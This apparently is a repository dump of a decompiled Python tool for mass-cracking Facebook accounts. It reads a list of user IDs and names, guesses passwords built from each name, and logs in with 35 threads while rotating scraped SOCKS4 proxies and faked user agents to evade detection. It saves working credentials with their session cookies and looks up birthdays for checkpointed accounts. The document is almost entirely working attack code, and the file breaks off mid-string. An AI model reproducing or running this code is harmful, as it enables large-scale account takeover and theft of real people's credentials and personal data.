240 | logo() 241 | print('') 242 | print("\033[1;92m [01] FILE CLONING") 243 | key = input("\n [+] Select One : ") 244 | if key in [""]: 245 | print(" [!] please select correct option") 246 | exit() 247 | elif key in ["1", "01"]: 248 | __chigoue__().chi(id) 249 | 250 | class __chigoue__: 251 | def __init__(self): 252 | self.id = [] 253 | def chi(self, id): 254 | os.system("clear") 255 | logo() 256 | crot = input(f" {H}[{H}+{H}] Want to show related apps [{H}y{H}/{H}t{H}]: ") 257 | if crot in[""]: 258 | print(f" {N}[{M}×{N}] Don't be empty");__chigoue__().chi(id) 259 | elif crot in["Y","y"]: 260 | Apk.append("y") 261 | elif crot in["T","t"]: 262 | Apk.append("t") 263 | else: 264 | #jalan(f" {N}[{M}×{N}] Sorry, wrong username");self.tampilkan_apk() 265 | print(f" {H}[{H}×{H}] Select Between y/t");__chigoue__().chi(id) 266 | self.cnt = input('\033[1;92m[+] Enter File Name :\033[1;92m ') 267 | self.id = open(self.cnt).read().splitlines() 268 | os.system('clear') 269 | ___two___ = ('y') 270 | if ___two___ in ('yes', 'Yes', 'Y', 'y'): 271 | self.__pler__() 272 | else: 273 | print(' [!] Choose Correct One') 274 | self.chi(id) 275 | 276 | #METODE SANDI MANUAL 277 | #print('\n %s[%s×%s] Sorry, it is wrong...!'%(N,M,N));self.plerr(id) 278 | #PROSES CRACK METODE 3 in 1 279 | def __metode__(self, cebok, user, pasw): 280 | global ok,cp,loop 281 | animasi = random.choice(["\x1b[1;92m[SAJU]","\x1b[1;92m[SAJU]","\x1b[1;92m[SAJU]","\x1b[1;92m[SAJU]","\x1b[1;92m[SAJU]","\x1b[1;92m[SAJU]","\x1b[1;92m[SAJU]"]) 282 | sys.stdout.write(f"\r{N}{animasi} {N}{loop}{N}/{M}{len(self.id)} {N}[{H}OK:{len(ok)}{N}][{K}CP:{len(cp)}{N}] [{H}{'{:.1%}'.format(loop/float(len(self.id)))}{N}]") 283 | sys.stdout.flush() 284 | try: 285 | for pw in pasw: 286 | pw = pw.lower() 287 | session=requests.Session() 288 | nip=random.choice(prox) 289 | proxs= {'http': 'socks4://'+nip} 290 | # ua1 = random.choice(agen1) 291 | # ua2 = random.choice(agen2) 292 | ua = random.choice(ugen) 293 | ua2 = random.choice(ugen2) 294 | session.headers.update({'Host': cebok,'cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}) 295 | p = session.get('https://'+cebok+'/login/device-based/password/?uid='+user+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr') 296 | dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":user,"next":"https://"+cebok+"/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,} 297 | koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ]) 298 | koki+=' m_pixel_ratio=2.625; wd=412x756' 299 | heade={'Host': cebok,'cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://'+cebok,'content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://'+cebok+'/login/device-based/password/?uid='+user+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'} 300 | po = session.post('https://'+cebok+'/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs) 301 | if "c_user" in session.cookies.get_dict(): 302 | cooz = session.cookies.get_dict() 303 | coki = 'datr=' + cooz['datr'] + ';' + ('c_user=' + cooz['c_user']) + ';' + ('fr=' + cooz['fr']) + ';' + ('xs=' + cooz['xs']) 304 | if "t" in Apk: 305 | print('\r%sOK %s \n└─── Username : %s\n └── Password : %s%s'%(H,waktu,user,pw,N)) 306 | print(f'\r{H}Cookie : {coki}\n') 307 | elif "y" in Apk: 308 | print(f'\r%sOK %s \n└─── Username : %s\n └── Password : %s%s'%(H,waktu,user,pw,N)) 309 | print(f'\r {H} └─ Cookie : {coki}') 310 | wrt = '[SAJU-OK] %s • %s' % (user,pw) 311 | ok.append(wrt) 312 | cek_apk(session,coki) 313 | open('results/OK-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 314 | break 315 | elif 'checkpoint' in session.cookies.get_dict(): 316 | try: 317 | tokenz = open('.token.txt').read() 318 | cp_ttl = session.get(f'https://graph.facebook.com/{user}?fields=birthday&access_token={tokenz}').json()['birthday'] 319 | month, day, year = cp_ttl.split('/') 320 | month = bulan_ttl[month] 321 | print('\r%sCP %s \n└─── Username : %s\n └── Password : %s\n Tanggal Lahir : %s %s %s%s\n'%(K,waktu,user,pw,day,month,year,N)) 322 | wrt = '[SAJU-CP] %s • %s • %s %s %s' % (user,pw,day,month,year) 323 | cp.append(wrt) 324 | open('results/CP-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 325 | break 326 | except (KeyError, IOError): 327 | month = '' 328 | day = '' 329 | year = '' 330 | except:pass 331 | print('\r%sCP %s \n└─── Username : %s\n └── Password : %s%s\n'%(K,waktu,user,pw,N)) 332 | wrt = '[SAJU-CP] %s • %s' % (user,pw) 333 | cp.append(wrt) 334 | open('results/CP-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 335 | break 336 | else: 337 | continue 338 | #time.sleep(31) 339 | loop+=1 340 | except requests.exceptions.ConnectionError: 341 | self.__metode__(cebok, user, pasw) 342 | 343 | 344 | def __pler__(self): 345 | os.system('clear') 346 | logo() 347 | print ('[1] Method 1') 348 | print ('[2] Method 2') 349 | print ('[3] Method 3') 350 | yan = input('\n%s[%s+%s] Select Method : '%(H,H,H)) 351 | if yan == '': 352 | print('\n %s[%s×%s] Sorry, it is wrong...!'%(N,M,N));self.__pler__() 353 | elif yan in ('1', '01'): 354 | xx = "free.facebook.com" 355 | self.kombinasi_pw(xx) 356 | elif yan in ('2', '02'): 357 | xx = "mbasic.facebook.com" 358 | self.kombinasi_pw(xx) 359 | elif yan in ('3', '03'): 360 | xx = "m.facebook.com" 361 | self.kombinasi_pw(xx) 362 | else: 363 | print('\n %s[%s×%s] Sorry, it is wrong...!'%(N,M,N));self.__pler__() 364 | 365 | def kombinasi_pw(self,url): 366 | print('%s════════════════════════════════════════\n %sPASSWORD MENU%s'%(H,H,H)) 367 | print('%s[%s1%s] Name,Name123,Name12345'%(H,H,H)) 368 | print('%s[%s2%s] Name,Name123,Name1234,Name12345'%(H,H,H)) 369 | print('%s[%s3%s] Name,Name123,Name1234,Name12345,%s+Single Password Using Coma%s'%(H,H,H,H,H)) 370 | pw = input(f"\n{H}[{H}+{H}] Select Password Method : ") 371 | if pw in[""]: 372 | print(f" {N}[{M}!{N}] Don't be empty");self.kombinasi_pw(url) 373 | elif pw in["1","01"]: 374 | print('%s════════════════════════════════════════\n[%s+%s] OK : results/OK-%s-%s-%s.txt'%(H,H,H,ha, op, ta)) 375 | print('%s[%s+%s] CP : results/CP-%s-%s-%s.txt'%(H,H,H,ha, op, ta)) 376 | print('%s══════════════════════════════════════════\n[%s!%s] MAENKAN MODE PESAWAT 500 ID'%(H,H,H,H,H,H,H,H,H)) 377 | with YayanGanteng(max_workers=35) as kirim: 378 | for yntkts in self.id: 379 | try: 380 | uid, name = yntkts.split('|') 381 | xz = name.split(' ') 382 | if len(xz) == 3 or len(xz) == 4 or len(xz) == 5 or len(xz) == 6: 383 | pwx = [name, xz[0]+xz[1], xz[0]+"123"] 384 | else: 385 | pwx = [name, xz[0]+xz[1], xz[0]+"123"] 386 | kirim.submit(self.__metode__,url,uid,pwx) 387 | except:pass 388 | hasil(ok,cp) 389 | elif pw in["2","02"]: 390 | print('%s════════════════════════════════════════\n[%s+%s] OK : results/OK-%s-%s-%s.txt'%(H,H,H,ha, op, ta)) 391 | print('%s[%s+%s] CP : results/CP-%s-%s-%s.txt'%(H,H,H,ha, op, ta)) 392 | print('%s══════════════════════════════════════════\n[%s!%s] Use Airplane Mode If You Result\n[%s!%s] After 500 Id Crack Use Airplane Mode\n[%s!%s] To stop %sCTRL+c%s on keyboard\n══════════════════════════════════════════'%(H,H,H,H,H,H,H,H,H)) 393 | with YayanGanteng(max_workers=35) as kirim: 394 | for yntkts in self.id: 395 | try: 396 | uid, name = yntkts.split('|') 397 | xz = name.split(' ') 398 | if len(xz) == 3 or len(xz) == 4 or len(xz) == 5 or len(xz) == 6: 399 | pwx = [name, xz[0]+"123", xz[0]+"321", xz[0]+"12345", xz[0]+xz[1]] 400 | else: 401 | pwx = [name, xz[0]+"123", xz[0]+"321", xz[0]+"12345", xz[0]+xz[1]] 402 | kirim.submit(self.__metode__,url,uid,pwx) 403 | except:pass 404 | hasil(ok,cp) 405 | elif pw in["3","03"]: 406 | print('%s════════════════════════════════════════\n%sMANUAL PASSWORD MENU%s'%(H,H,H)) 407 | #print(" %s[%s!%s] Semakin banyak kombinasi password semakin lama proses crack!"%(N,M,N)) 408 | print("%s[%s!%s] Use %sComa%s For Choice Password"%(H,H,H,H,H)) 409 | print("%s[%s!%s] Example : %s786786,pakistan,123456%s"%(H,H,H,H,H)) 410 | pw = input(f"{H}[{H}+{H}] Enter Choice Password : {H}").split(",") 411 | print('%s════════════════════════════════════════\n[%s+%s] OK : results/OK-%s-%s-%s.txt'%(H,H,H,ha, op, ta)) 412 | print('%s[%s+%s] CP : results/CP-%s-%s-%s.txt'%(H,H,H,ha, op, ta)) 413 | print('%s══════════════════════════════════════════\n[%s!%s] If You No Result Use {Airplane Mode} 5 Second\n[%s!%s] To stop %sCTRL+c%s on keyboard\n══════════════════════════════════════════'%(H,H,H,H,H,H,H,H,H)) 414 | with YayanGanteng(max_workers=35) as kirim: 415 | for yntkts in self.id: 416 | try: 417 | uid, name = yntkts.split('|') 418 | xz = name.split(' ') 419 | if len(xz) == 3 or len(xz) == 4 or len(xz) == 5 or len(xz) == 6: 420 | xxx = [name, xz[0]+"321",xz[0]+"123", xz[0]+"1234", xz[0]+"12345", xz[0]+xz[1]] 421 | pwx = xxx + pw 422 | else: 423 | xxx = [name, xz[0]+"321",xz[0]+"123", xz[0]+"1234", xz[0]+"12345", xz[0]+xz[1]] 424 | pwx = xxx + pw 425 | kirim.submit(self.__metode__,url,uid,pwx) 426 | except:pass 427 | hasil(ok,cp) 428 | else: 429 | print(f"\n {N}[{M}!{N}] Correct input");self.kombinasi_pw(url) 430 | 431 | if __name__ == '__main__': 432 | login() 433 | 434 | -------------------------------------------------------------------------------- /code.py: -------------------------------------------------------------------------------- 1 | # Decompile by Mardis (Tools By Kapten-Kaizo) 2 | # Time Succes decompile : 2022-11-12 08:51:23.209902 3 | import os 4 | import time 5 | os.system("clear") 6 | print(" \033[1;32mTHIS TOOLS CODDED BY (MR-ZIHAD) ") 7 | time.sleep(5) 8 | 9 | import os 10 | try: 11 | import requests 12 | except ImportError: 13 | print('\n [✔︎] Modul requests belum terinstall!...\n') 14 | os.system('pip install requests') 15 | 16 | try: 17 | import concurrent.futures 18 | except ImportError: 19 | print('\n [✔︎] Modul Futures belum terinstall!...\n') 20 | os.system('pip install futures') 21 | 22 | try: 23 | import bs4 24 | except ImportError: 25 | print('\n [✔︎] Modul Bs4 belum terinstall!...\n') 26 | os.system('pip install bs4') 27 | 28 | import requests, os, re, bs4, sys, json, time, random, datetime, subprocess 29 | from concurrent.futures import ThreadPoolExecutor as YayanGanteng 30 | from datetime import datetime 31 | from bs4 import BeautifulSoup 32 | ct = datetime.now() 33 | n = ct.month 34 | bulan = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'Agustus', 'September', 'October', 'November', 'December'] 35 | try: 36 | if n < 0 or n > 12: 37 | exit() 38 | nTemp = n - 1 39 | except ValueError: 40 | exit() 41 | os.system("clear") 42 | current = datetime.now() 43 | ta = current.year 44 | bu = current.month 45 | ha = current.day 46 | op = bulan[nTemp] 47 | waktu = '%s %s %s'%(ha,op,ta) 48 | waktu.split('/') 49 | P = '\x1b[1;97m' # PUTIH 50 | M = '\x1b[1;91m' # MERAH 51 | H = '\x1b[1;92m' # HIJAU 52 | K = '\x1b[1;93m' # KUNING 53 | B = '\x1b[1;94m' # BIRU 54 | U = '\x1b[1;95m' # UNGU 55 | O = '\x1b[1;96m' # BIRU MUDA 56 | N = '\x1b[0m' # WARNA MATI 57 | A = '\x1b[1;90m' # WARNA ABU ABU 58 | BN = '\x1b[1;107m' # BELAKANG PUTIH 59 | BBL = '\x1b[1;106m' # BELAKANG BIRU LANGIT 60 | BP = '\x1b[1;105m' # BELAKANG PINK 61 | BB = '\x1b[1;104m' # BELAKANG BIRU 62 | BK = '\x1b[1;103m' # BELAKANG KUNING 63 | BH = '\x1b[1;102m' # BELAKANG HIJAU 64 | BM = '\x1b[1;101m' # BELAJANG MERAH 65 | BA = '\x1b[1;100m' # BELAKANG ABU ABU 66 | my_color = [ 67 | P, M, H, K, B, U, O, N] 68 | warna = random.choice(my_color) 69 | data,data2={},{} 70 | aman,cp,salah=0,0,0 71 | ubahP,pwBaru=[],[] 72 | Apk = [] 73 | ok = [] 74 | cp = [] 75 | id = [] 76 | user = [] 77 | loop = 0 78 | url_lookup = "https://lookup-id.com/" 79 | url_mb = "https://mbasic.facebook.com" 80 | url_ip = "https://www.httpbin.org/ip" 81 | url_graph = "https://graph.facebook.com/{}" 82 | header_grup = {"user-agent": "Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]"} 83 | bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"} 84 | hhhh, iiii, jjjj, kkkk = "index.php?", "next=https%3A%2F%2Fdevelopers.facebook.com", "%2Ftools%2Fdebug", "%2Faccesstoken%2F" 85 | dddd, eeee, ffff, gggg = "login", "device-based", "validate-password", "?shbl=0" 86 | aaaa, bbbb, cccc = "tools", "debug", "accesstoken" 87 | bahasa = "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7" 88 | uas_bawaan = "Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]" 89 | uas_nokiac2 = "NokiaC2-00/2.0 (03.45) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 (Java; U; kau; nokiac2-00) UCBrowser8.3.0.154/70/352/UCWEB Mobile" 90 | uas_nokiax20 = "Mozilla/5.0 (Linux; Android 12; Nokia X20 Build/SKQ1.210821.001; wv) AppleWebKit/537.36 (KHTML, seperti Gecko) Versi/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36" 91 | uas_nokiax = "Mozilla/5.0 (Linux; Android 4.1.2; Nokia_X Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.87.90 Mobile Safari/537.36 NokiaBrowser/1.0,gzip(gfe)" 92 | uas_samsungse = "Mozilla/5.0 (Linux; Android 12; SAMSUNG SM-G780G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/16.0 Chrome/92.0.4515.166 Mobile Safari/537.36" 93 | uas_redmi9a = "Mozilla/5.0 (Linux; U; Android 10; id-id; Redmi 9A Build/QP1A.190711.020) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.116 Mobile Safari/537.36" 94 | uas_nokiaxl = "Mozilla/5.0 (Linux; Android 4.1.2; Nokia_XL Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.82 Mobile Safari/537.36 NokiaBrowser/1.2.0.12" 95 | uas_tes = "Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4X Build/MiUI MS; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/65.0.3325.109 Mobile Safari/537.36 Instagram 38.0.0.13.95 Android (24/7.0; 480dpi; 1080x1920; Xiaomi/xiaomi; Redmi Note 4X; mido; qcom; ru_RU; 99640911)" 96 | uas_random = random.choice(["Mozilla/5.0 (Linux; U; Android 4.4.2; zh-CN; HUAWEI MT7-TL00 Build/HuaweiMT7-TL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.3.8.909 Mobile Safari/537.36","NokiaC3-00/5.0 (08.63) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+","Mozilla/5.0 (Linux; Android 10; Nokia 5.1 Plus Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, seperti Gecko) Versi/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 12; SAMSUNG SM-G780G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/16.0 Chrome/92.0.4515.166 Mobile Safari/537.36"]) 97 | uas_nokiac3 = "NokiaC3-00/5.0 (08.63) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+" 98 | uas_iphone = "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBDV/iPhone11,8;FBMD/iPhone;FBSN/iOS;FBSV/13.3.1;FBSS/2;FBID/phone;FBLC/en_US;FBOP/5;FBCR/]" 99 | uas_nokia5plus = "Mozilla/5.0 (Linux; Android 10; Nokia 5.1 Plus Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, seperti Gecko) Versi/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36" 100 | uas_random2 = random.choice(["Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]","Mozilla/5.0 (Linux; Android 4.4.4; en-au; SAMSUNG SM-N915G Build/KTU84P) AppleWebKit/537.36 (KTHML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 4.1.2; Nokia_X Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.87.90 Mobile Safari/537.36 NokiaBrowser/1.0,gzip(gfe)","Mozilla/5.0 (Linux; U; Android 4.4.2; zh-CN; HUAWEI MT7-TL00 Build/HuaweiMT7-TL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.3.8.909 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 10; M2006C3MG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 7.0; SM-G930VC Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36"]) 101 | ugen2=[] 102 | ugen=[] 103 | 104 | try: 105 | prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text 106 | open('.proxy.txt','w').write(prox) 107 | except Exception as e: 108 | exit(e) 109 | 110 | for xd in range(10000): 111 | a='Mozilla/5.0 (Symbian/3; Series60/' 112 | b=random.randrange(1, 9) 113 | c=random.randrange(1, 9) 114 | d='Nokia' 115 | e=random.randrange(100, 9999) 116 | f='/110.021.0028; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/535.1 (KHTML, like Gecko) NokiaBrowser/' 117 | g=random.randrange(1, 9) 118 | h=random.randrange(1, 4) 119 | i=random.randrange(1, 4) 120 | j=random.randrange(1, 4) 121 | k='Mobile Safari/535.1' 122 | uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}') 123 | ugen2.append(uaku) 124 | 125 | 126 | aa='Mozilla/5.0 (Linux; U; Android' 127 | b=random.choice(['6','7','8','9','10','11','12']) 128 | c=' en-us; GT-' 129 | d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']) 130 | e=random.randrange(1, 999) 131 | f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']) 132 | g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' 133 | h=random.randrange(73,100) 134 | i='0' 135 | j=random.randrange(4200,4900) 136 | k=random.randrange(40,150) 137 | l='Mobile Safari/537.36' 138 | uaku2=(f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}') 139 | ugen.append(uaku2) 140 | 141 | def jalan(z): 142 | for e in z + '\n': 143 | sys.stdout.write(e) 144 | sys.stdout.flush() 145 | time.sleep(0.03) 146 | 147 | def mentod(): 148 | print('%s••••••••••••••••••••••••••••••••••••••••••\n %sMETHOD MENU%s'%(N,BM,N)) 149 | print(' %s[%s1%s] Method 1 free (%sRecommended%s)'%(N,H,N,H,N)) 150 | print(' [%s2%s] Method 2 mbasic (%sRecommended%s)'%(H,N,H,N)) 151 | print(' [%s3%s] Method 3 mobile (%sRecommended%s)'%(H,N,H,N)) 152 | def loading(): 153 | animation = ["[\x1b[1;91m– \x1b[0m–¡–¡–¡–¡–¡–¡–¡–¡–¡]","[\x1b[1;92m– – \x1b[0m–¡–¡–¡–¡–¡–¡–¡–¡]", "[\x1b[1;93m– – \x1b[0m–¡–¡–¡–¡–¡–¡–¡]", "[\x1b[1;94m– – – – \x1b[0m–¡–¡–¡–¡–¡–¡]", "[\x1b[1;95m– – – – – \x1b[0m–¡–¡–¡–¡–¡]", "[\x1b[1;96m– – – – – – \x1b[0m–¡–¡–¡–¡]", "[\x1b[1;97m– – – – – – – \x1b[0m–¡–¡–¡]", "[\x1b[1;98m– – – – – – – – \x1b[0m–¡–¡]", "[\x1b[1;99m– – – – – – – – – \x1b[0m¡]", "[\x1b[1;91m– – – – – – – – – – \x1b[0m]"] 154 | for i in range(50): 155 | time.sleep(0.1) 156 | sys.stdout.write(f"\r {N}[{H}{N}] {H}Loading...{N} " + animation[i % len(animation)] +"\x1b[0m ") 157 | sys.stdout.flush() 158 | print("") 159 | def logo(): 160 | print("""\n 161 | \033[1;92m 162 | █████▒██▓ ██▓ ▓█████ ███▄ ▄███▓ ▄▄▄ ▒██ ██▒ 163 | ▓██ ▒▓██▒▓██▒ ▓█ ▀ ▓██▒▀█▀ ██▒▒████▄ ▒▒ █ █ ▒░ 164 | ▒████ ░▒██▒▒██░ ▒███ ▓██ ▓██░▒██ ▀█▄ ░░ █ ░ 165 | ░▓█▒ ░░██░▒██░ ▒▓█ ▄ ▒██ ▒██ ░██▄▄▄▄██ ░ █ █ ▒ 166 | ░▒█░ ░██░░██████▒░▒████▒ ▒██▒ ░██▒ ▓█ ▓██▒▒██▒ ▒██▒ 167 | ▒ ░ ░▓ ░ ▒░▓ ░░░ ▒░ ░ ░ ▒░ ░ ░ ▒▒ ▓▒█░▒▒ ░ ░▓ ░ 168 | ░ ▒ ░░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ▒ ▒▒ ░░░ ░▒ ░ 169 | ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ 170 | \033[1;92m | [\033[1;31;1m©\033[1;92m] [\033[1;31;1m©\033[1;92m] | 171 | \033[1;92m | [\33[1;33m====\033[1;92m] | [+] HACKERS BANGLADESH [+] 172 | \033[1;92m••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 173 | \033[1;31;1m \033[1;92m [✔︎] \033[1;31;1mAuthor : \033[1;92m ZIHAD HOSSAIN RAFI \033[1;31;1m 174 | \033[1;31;1m \033[1;92m [✔︎] \033[1;31;1mWhatsapp : \033[1;92m 8801842827520 \033[1;31;1m 175 | \033[1;31;1m \033[1;92m [✔︎] \033[1;31;1mGitHub : \033[1;92m MR-ZIHAD \033[1;31;1m 176 | \033[1;31;1m \033[1;92m [✔︎] \033[1;31;1mTEAM : \033[1;92m STRIKER\033[1;31;1m 177 | \033[1;31;1m \033[1;92m [✔︎] \033[1;31;1mVersion : \033[1;92m MAX \033[1;31;1m 178 | \033[1;92m••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••""") 179 | def hasil(ok,cp): 180 | if len(ok) != 0 or len(cp) != 0: 181 | print(f'\n%s••••••••••••••••••••••••••••••••••••••••••\n [%s%s] %sCracking By JIBON Usercrack...\n%s••••••••••••••••••••••••••••••••••••••••••'%(N,H,N,H,N)) 182 | print(f' %s[%s+%s] Number of Accounts OK : %s%s%s'%(H,H,H,H,str(len(ok)),H)) 183 | print(f' [%s+%s] Number of Accounts CP : %s%s%s'%(H,H,H,str(len(cp)),H)) 184 | cek_cp = input(f"{H}••••••••••••••••••••••••••••••••••••••••••\n [{H}+{H}] Show CP detector options [{H}Y{N}/{M}t{N}]: ") 185 | if cek_cp =="": 186 | print(f"\n [{M}!{N}] Don't be empty");hasil(ok,cp) 187 | elif cek_cp in["Y","y"]: 188 | jalan(f" 